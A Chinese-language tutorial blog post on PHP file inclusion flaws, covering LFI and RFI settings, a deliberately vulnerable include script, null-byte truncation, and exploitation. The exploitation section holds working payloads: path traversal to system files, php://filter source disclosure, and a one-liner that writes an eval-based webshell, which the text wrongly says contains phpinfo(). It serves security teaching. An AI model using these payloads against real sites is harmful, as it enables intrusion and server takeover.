文件包含知识点总结

第一章 概述

第一节 说明

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
几乎所有的脚本语言都会提供文件包含功能。
文件包含漏洞在PHP Web Application 中居多,在JSP/ASP/ASP.net程序中比较少。

第二节 漏洞产生的原因

 Web 应用实现了动态包含
动态包含的文件路径参数,客户端可控

第二章 PHP中的文件包含

第一节 语句

PHP 中提供了四个文件包含的函数,四个函数之间略有区别。
如下

函数 区别
include() 文件包含失败时,会产生警告,脚本会继续运行。
include_once() 与include() 功能相同,文件只会被包含一次。
require() 文件包含失败时,会产生错误,直接结束脚本执行。
require_once() 与require() 功能相同,文件只会被包含一次。

第二节 相关配置

文件包含是PHP 的基本功能之一,有本地文件包含和远程文件包含之分(虽然php 官网上不是这么解释的)。
简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(HTTT,FTP,PHP 伪协议)就是可以远程加载文件
我们可以通过php.ini 来进行配置。如下

allow_url_fopen=On/Off
本地文件包含(LFI)
allow_url_include=On/Off
远程文件包含(RFI
  • 本地文件包含(LFI)
    本地文件包含就是我们可以通过相对路径的方式找到文件,然后包含之。
    访问的URL 为

php[http://localhost/include/include_once.php?path=info.php]。

  • 远程文件包含(RFI)
    远程文件包含就是我们可以通过http(s)或者ftp 等方式,远程加载文件。
    访问的连接
    http://localhost/include/include_once.php?path=http://172.16.132.161/include/info.php

http://localhost/include/include_once.php?path=ftp://user1901:[email protected]/info.php

第三节 文件包含示例

我们可以通过以下简单的代码来测试文件包含漏洞。
----
<?php
$path=$_GET['path'];
include_once("./inc.php");
echo "<h1>This is include_once.php!</h1>";
include_once $path;
?>
----

第三章 漏洞原理及特点

第一节 漏洞原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。
但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。
如果实现动态包含的参数,Web 应用没有进行严格净化,客户端用户可以影响或控制文件包含的路径,就会产生文件包含漏洞。

第二节 特点

PHP 提供的文件包含功能非常强大,有以下特点

  • 无视文件扩展名读取文件
 包含文件时,PHP 会读取文件的源码,包括图片文件。尝试包含图片,连接为
    [http://172.16.132.138/fileInclude/fileinclude.php?path=smile.jpg]
    我们发现打开图片不是图像,而是图片的源码
  • 无条件解析PHP 代码
 文件包含在读取文件源码的同时,如果遇到符合PHP 语法规范的代码,就会无条件执行。
 例如,将info.php 的后缀名改成info.rar,依然能够显示phpinfo() 信息。
 
    这同时,也为图片木马提供了一种利用方法。

第三节 空字符安全绕过

空字符安全限制绕过,是PHP小于5.3.4 版本的一个漏洞,CVE 编号是CVE-2006-7243。
这个漏洞就是PHP 接收来自于路径名中的空(Null) 字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是我们之间讲过的00 截断。
00 截断攻击也会体现在文件包含中。
Web 应用在设计时候,经常会包含模板文件,简单程序如下
<?php
if(isset($_GET['path'])){
    include $_GET['path'].".html";
}else{
    echo "?path=[path]";
}
?>

    这个简单的代码限定了被包含文件的后缀名是html ,提交URL
    [http://172.16.132.138/fileInclude/00/?path=info]
    效果如下
    此处我们可以通过00 截断来包含任意文件,比如同级目录下的inc.php 文件。提交变量
    [http://172.16.132.138/fileInclude/00/?path=info.php%00]
 
    注意:需要关闭PHP 的魔术引号。

第四章 文件包含漏洞的利用

第一节 读取敏感文件

我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件

  • 目标主机文件存在(目标文件的路径,绝对路径,相对路径)
  • 具有文件可读权限
    读取本地host 的文件。
    ?path=c:\windows\System32\drivers\etc\hosts
    ?path=…\windows\System32\drivers\etc\hosts

第二节 直接包含图片木马

可以利用文件包含漏洞直接包含图片木马。直接包含图片木马
[?path=./timg_.jpg]

使用菜刀连接之。

第三节 包含木马写Shell

我们也可以将如下代码写入到图片中,
php <?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
该段代码的含义是,在当前目录下创建一个名为[shell.php] 的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。

第四节 PHP 封装协议–访问本地文件

我们可以使用php 的file 协议访问本地系统文件,提交参数
[?path=file://c:\windows\System32\drivers\etc\hosts]。

第五节 PHP 封装协议–传输PHP 文件

可以使用以下参数来传送任意PHP 文件。

?path=php://filter/read=convert.base64-encode/resource=inc.php
然后把得到的所有字符串base64 解码即可。

第六节 PHP 封装协议–执行PHP 命令

我们还可以利用PHP 的封装协议来执行PHP 命令
发布了256 篇原创文章 · 获赞 47 · 访问量 8万+

猜你喜欢

转载自blog.csdn.net/qq_41901122/article/details/104244811